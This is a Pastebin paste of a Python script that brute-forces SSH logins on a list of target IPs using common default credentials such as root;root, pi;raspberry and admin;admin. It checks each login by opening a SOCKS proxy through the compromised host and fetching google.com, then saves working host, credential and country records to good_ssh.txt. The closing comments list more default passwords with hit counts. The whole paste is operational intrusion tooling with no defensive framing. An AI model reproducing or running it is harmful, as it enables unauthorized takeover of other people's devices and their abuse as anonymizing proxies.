Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, threading, pickle, subprocess, win32api, psutil, sys, random, requests, signal, pygeoip
- from time import sleep, time
- from pathlib import Path
- lock = threading.Lock()
- hosts_file = open('ips.txt')
- gi = pygeoip.GeoIP(os.getcwd() + r'\GeoIP.dat')
- def on_exit(sig, func = None):
- b_exit = True
- def check_2nd_time(host, user, password):
- port = random.randint(1000, 65000)
- stnlc = subprocess.Popen('cmd.exe /K echo a|' + str(Path(os.getcwd()).parent) + r'\Bitvise\stnlc -user={} -pw={} {} -proxyFwding=y -proxyListIntf=127.0.0.1 -proxyListPort={} -ka -trustLsp=n ' \
- '-encr=aes256-gcm,aes256-ctr,aes192-ctr,aes128-gcm,aes128-ctr,3des-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc' \
- .format(user, password, host, port), stdout= subprocess.PIPE, shell= True)
- result = 0
- while 1:
- if b_exit: break
- s = stnlc.stdout.readline()
- if not s and stnlc.returncode is not None: break
- elif any(x in s for x in [b'for more authentication', b'timeout', b'ERROR']): break
- elif b'Enabled SOCKS/HTTP proxy forwarding' in s:
- try:
- t = requests.get('https://google.com', proxies= {'http': 'socks5://127.0.0.1:' + str(port), 'https': 'socks5://127.0.0.1:' + str(port)}).text
- if len(t) > 100:
- result = 1
- break
- except:
- pass
- break
- try:
- process = psutil.Process(stnlc.pid)
- for proc in process.children(recursive=True):
- proc.kill()
- process.kill()
- except:
- pass
- return result
- def check(host, user, password, stnlc_to_return):
- try:
- if b_exit: return
- stnlc = subprocess.Popen(str(Path(os.getcwd()).parent) + r'\Bitvise\stnlc -user={} -pw={} {} -proxyFwding=y -proxyListIntf=127.0.0.1 -proxyListPort={} -ka -trustLsp=n ' \
- '-encr=aes256-gcm,aes256-ctr,aes192-ctr,aes128-gcm,aes128-ctr,3des-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc'.format(user, password, host, random.randint(1000, 65000)),
- stdin= subprocess.PIPE, stdout= subprocess.PIPE, universal_newlines= True)
- stnlc_to_return[0] = stnlc
- stnlc.communicate('a\n')
- stnlc.kill()
- if not stnlc.returncode:
- if check_2nd_time(host, user, password):
- with lock:
- stats['found'] += 1
- with open('good_ssh.txt', 'a') as f: f.write('{};{};{};{}\n'.format(host, user, password, gi.country_code_by_addr(host)))
- with lock: stats['checked'] += 1
- except:
- pass
- def starter(user, password):
- while 1:
- stnlc_to_return = [0]; start = time()
- with lock: host = hosts_file.readline().strip()
- t = threading.Thread(None, check, args= (host, user, password, stnlc_to_return)); t.start()
- while 1:
- sleep(1)
- if not host or b_exit: return
- if not t.isAlive(): break
- if time() - start > 20:
- stnlc_to_return[0].kill()
- break
- def print_stats():
- with lock:
- stats['pointer'] = hosts_file.tell()
- pickle.dump(stats, open('settings.pkl', 'wb'))
- os.system('cls')
- print(stats)
- threading.Timer(2, print_stats).start()
- try:
- stats = pickle.load(open('settings.pkl', 'rb'))
- stats['found'] = 0
- except:
- stats = {'checked': 0, 'found': 0, 'combo': 0, 'pointer': 0}
- inp = input('Threads?\n')
- b_exit = False
- c_ind = stats['combo']
- hosts_file.seek(stats['pointer'])
- win32api.SetConsoleCtrlHandler(on_exit, True)
- threading.Thread(None, print_stats).start()
- combos = ['ftp;ftp', 'ftpuser;ftpuser', 'osmc;osmc', 'root;Passw0rd', 'root;passw0rd', 'admin;admin', 'root;123456', 'support;support', 'ubnt;ubnt', 'ftp;123456', 'guest;guest', 'admin;private', 'support;qwerty', 'test;123123', 'admin;password', 'admin;12345', 'user;user', 'admin;support', 'pi;raspberry','admin;ubnt', 'root;12345', 'admin;123456', 'test;test', 'operator;operator', 'admin;12345678', 'guest;123456', 'root;root', 'root;password', 'root;admin']
- for c_ind in range(stats['combo'], len(combos)):
- stats['combo'] = c_ind
- user, password = combos[c_ind].split(';')
- threads = [threading.Thread(None, starter, args= (user, password)) for _ in range(int(inp))]
- [t.start() for t in threads]
- [t.join() for t in threads]
- with lock:
- hosts_file.seek(0)
- #papildomi
- #admin— 4621
- #123456— 698
- #12345— 575
- #xc3511— 530
- #GMB182— 495
- #Zte521— 415
- #password— 399
- #oelinux123— 385
- #jauntech— 344
- #1234— 341
- admin [empty]
- default;[empty]
- admin;default
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement